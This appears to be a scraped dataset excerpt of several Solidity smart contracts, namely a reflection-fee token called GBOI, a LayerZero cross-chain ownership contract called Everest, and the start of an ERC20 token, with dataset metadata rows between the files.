function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GBOI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 60000000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'goodboi.finance';
string private constant _symbol = 'GBOI';
uint256 private _taxFee = 300;
uint256 private _burnFee = 300;
uint private _max_tx_size = 600000 * 10 ** uint256(_decimals);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 252,392 | 660 |
3870d14ab60ec137e3c568da3cf132194efa3b6d6b487dac75b514802ff599f4
| 19,656 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/81/8143ece5bb73483292a4d1f52717e6df84ebe021_Everest.sol
| 3,566 | 15,319 |
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.13;
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface ILayerZeroReceiver {
// @notice LayerZero endpoint will invoke this function to deliver the message on the destination
// @param _srcChainId - the source endpoint identifier
// @param _srcAddress - the source sending contract address from the source chain
// @param _nonce - the ordered message nonce
// @param _payload - the signed payload is the UA bytes has encoded to be sent
function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external;
}
interface ILayerZeroUserApplicationConfig {
// @notice set the configuration of the LayerZero messaging library of the specified version
// @param _version - messaging library version
// @param _chainId - the chainId for the pending config change
// @param _configType - type of configuration. every messaging library has its own convention.
// @param _config - configuration in the bytes. can encode arbitrary content.
function setConfig(uint16 _version, uint16 _chainId, uint _configType, bytes calldata _config) external;
// @notice set the send() LayerZero messaging library version to _version
// @param _version - new messaging library version
function setSendVersion(uint16 _version) external;
// @notice set the lzReceive() LayerZero messaging library version to _version
// @param _version - new messaging library version
function setReceiveVersion(uint16 _version) external;
// @param _srcChainId - the chainId of the source chain
// @param _srcAddress - the contract address of the source contract at the source chain
function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external;
}
interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig {
// @notice send a LayerZero message to the specified address at a LayerZero endpoint.
// @param _dstChainId - the destination chain identifier
// @param _payload - a custom bytes payload to send to the destination contract
// @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction
function send(uint16 _dstChainId, bytes calldata _destination, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) external payable;
// @notice used by the messaging library to publish verified payload
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source contract (as bytes) at the source chain
// @param _dstAddress - the address on destination chain
// @param _nonce - the unbound message ordering nonce
// @param _gasLimit - the gas limit for external contract execution
// @param _payload - verified payload to send to the destination contract
function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external;
// @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
function getInboundNonce(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (uint64);
// @notice get the outboundNonce from this source chain which, consequently, is always an EVM
// @param _srcAddress - the source chain contract address
function getOutboundNonce(uint16 _dstChainId, address _srcAddress) external view returns (uint64);
// @param _dstChainId - the destination chain identifier
// @param _userApplication - the user app address on this EVM chain
// @param _payload - the custom message to send over LayerZero
// @param _payInZRO - if false, user app pays the protocol fee in native token
function estimateFees(uint16 _dstChainId, address _userApplication, bytes calldata _payload, bool _payInZRO, bytes calldata _adapterParam) external view returns (uint nativeFee, uint zroFee);
// @notice get this Endpoint's immutable source identifier
function getChainId() external view returns (uint16);
// @notice the interface to retry failed message on this Endpoint destination
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
// @param _payload - the payload to be retried
function retryPayload(uint16 _srcChainId, bytes calldata _srcAddress, bytes calldata _payload) external;
// @notice query if any STORED payload (message blocking) at the endpoint.
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
function hasStoredPayload(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool);
// @notice query if the _libraryAddress is valid for sending msgs.
// @param _userApplication - the user app address on this EVM chain
function getSendLibraryAddress(address _userApplication) external view returns (address);
// @notice query if the _libraryAddress is valid for receiving msgs.
// @param _userApplication - the user app address on this EVM chain
function getReceiveLibraryAddress(address _userApplication) external view returns (address);
// @notice query if the non-reentrancy guard for send() is on
// @return true if the guard is on. false otherwise
function isSendingPayload() external view returns (bool);
// @notice query if the non-reentrancy guard for receive() is on
// @return true if the guard is on. false otherwise
function isReceivingPayload() external view returns (bool);
// @notice get the configuration of the LayerZero messaging library of the specified version
// @param _version - messaging library version
// @param _chainId - the chainId for the pending config change
// @param _userApplication - the contract address of the user application
// @param _configType - type of configuration. every messaging library has its own convention.
function getConfig(uint16 _version, uint16 _chainId, address _userApplication, uint _configType) external view returns (bytes memory);
// @notice get the send() LayerZero messaging library version
// @param _userApplication - the contract address of the user application
function getSendVersion(address _userApplication) external view returns (uint16);
// @notice get the lzReceive() LayerZero messaging library version
// @param _userApplication - the contract address of the user application
function getReceiveVersion(address _userApplication) external view returns (uint16);
}
abstract contract LzApp is
Ownable,
ILayerZeroReceiver,
ILayerZeroUserApplicationConfig
{
ILayerZeroEndpoint public immutable lzEndpoint;
mapping(uint16 => bytes) public trustedRemoteLookup;
event SetTrustedRemote(uint16 _srcChainId, bytes _srcAddress);
constructor(address _endpoint) {
lzEndpoint = ILayerZeroEndpoint(_endpoint);
}
function lzReceive(uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload) public virtual override {
// lzReceive must be called by the endpoint for security
require(_msgSender() == address(lzEndpoint));
bytes memory trustedRemote = trustedRemoteLookup[_srcChainId];
require(_srcAddress.length == trustedRemote.length &&
keccak256(_srcAddress) == keccak256(trustedRemote),
"LzReceiver: invalid source sending contract");
_blockingLzReceive(_srcChainId, _srcAddress, _nonce, _payload);
}
function _blockingLzReceive(uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload) internal virtual;
function _lzSend(uint16 _dstChainId,
bytes memory _payload,
address payable _refundAddress,
address _zroPaymentAddress,
bytes memory _adapterParams) internal virtual {
bytes memory trustedRemote = trustedRemoteLookup[_dstChainId];
require(trustedRemote.length != 0,
"LzSend: destination chain is not a trusted source.");
lzEndpoint.send{value: msg.value}(_dstChainId,
trustedRemote,
_payload,
_refundAddress,
_zroPaymentAddress,
_adapterParams);
}
//---------------------------UserApplication config----------------------------------------
function getConfig(uint16 _version,
uint16 _chainId,
address,
uint256 _configType) external view returns (bytes memory) {
return
lzEndpoint.getConfig(_version,
_chainId,
address(this),
_configType);
}
// generic config for LayerZero user Application
function setConfig(uint16 _version,
uint16 _chainId,
uint256 _configType,
bytes calldata _config) external override onlyOwner {
lzEndpoint.setConfig(_version, _chainId, _configType, _config);
}
function setSendVersion(uint16 _version) external override onlyOwner {
lzEndpoint.setSendVersion(_version);
}
function setReceiveVersion(uint16 _version) external override onlyOwner {
lzEndpoint.setReceiveVersion(_version);
}
function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress)
external
override
onlyOwner
{
lzEndpoint.forceResumeReceive(_srcChainId, _srcAddress);
}
// allow owner to set it multiple times.
function setTrustedRemote(uint16 _srcChainId, bytes calldata _srcAddress)
external
onlyOwner
{
trustedRemoteLookup[_srcChainId] = _srcAddress;
emit SetTrustedRemote(_srcChainId, _srcAddress);
}
//--------------------------- VIEW FUNCTION ----------------------------------------
function isTrustedRemote(uint16 _srcChainId, bytes calldata _srcAddress)
external
view
returns (bool)
{
bytes memory trustedSource = trustedRemoteLookup[_srcChainId];
return keccak256(trustedSource) == keccak256(_srcAddress);
}
}
abstract contract NonblockingLzApp is LzApp {
constructor(address _endpoint) LzApp(_endpoint) {}
mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32)))
public failedMessages;
event MessageFailed(uint16 _srcChainId,
bytes _srcAddress,
uint64 _nonce,
bytes _payload);
// overriding the virtual function in LzReceiver
function _blockingLzReceive(uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload) internal virtual override {
// try-catch all errors/exceptions
try
this.nonblockingLzReceive(_srcChainId,
_srcAddress,
_nonce,
_payload)
{
// do nothing
} catch {
// error / exception
failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload);
emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload);
}
}
function nonblockingLzReceive(uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload) public virtual {
// only internal transaction
require(_msgSender() == address(this),
"LzReceiver: caller must be LzApp");
_nonblockingLzReceive(_srcChainId, _srcAddress, _nonce, _payload);
}
//@notice override this function
function _nonblockingLzReceive(uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload) internal virtual;
function retryMessage(uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes calldata _payload) public payable virtual {
// assert there is message to retry
bytes32 payloadHash = failedMessages[_srcChainId][_srcAddress][_nonce];
require(payloadHash != bytes32(0), "LzReceiver: no stored message");
require(keccak256(_payload) == payloadHash,
"LzReceiver: invalid payload");
// clear the stored message
failedMessages[_srcChainId][_srcAddress][_nonce] = bytes32(0);
// execute the message. revert if it fails again
_nonblockingLzReceive(_srcChainId, _srcAddress, _nonce, _payload);
}
}
/// @title Everest
/// @notice The ownership manager for Omniscient.
/// @notice Contract lives on Avalanche.
/// @author zkSoju
contract Everest is NonblockingLzApp {
/// ::::::::::::::::::::::: EVENTS ::::::::::::::::::::::: ///
event SendMessage(address indexed from,
bytes indexed payload,
address indexed to,
uint256 tokenId,
uint64 nonce);
constructor(address endpoint) NonblockingLzApp(endpoint) {}
function estimateFees(uint16 chainId,
address to,
uint256 tokenId) public returns (uint256) {
(uint256 fees,) = lzEndpoint.estimateFees(chainId,
to,
abi.encode(msg.sender, to, tokenId),
false,
bytes(""));
return fees;
}
/// @notice Sends LayerZero message to transfer ownership on another chain
function transferOwnership(uint16 chainId,
address to,
uint256 tokenId) public payable {
bytes memory payload = abi.encode(msg.sender, to, tokenId);
_lzSend(chainId,
payload,
payable(msg.sender),
address(0x0),
abi.encodePacked(uint16(1), uint256(200000)));
uint64 nonce = lzEndpoint.getOutboundNonce(chainId, address(this));
emit SendMessage(msg.sender, payload, to, tokenId, nonce);
}
function _nonblockingLzReceive(uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload) internal virtual override {}
}
| 99,881 | 661 |
8ca53867343bf3816d4e8de1ad9f6f8edc6ede55fdb450356958511b136cf5bf
| 32,979 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/84/8405cb1852e93b0611ab0b44ae887f5cb28fe13a_SIv.sol
| 4,037 | 15,376 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring "a" not being zero, but the
// benefit is lost if "b" is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn"t hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
//
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
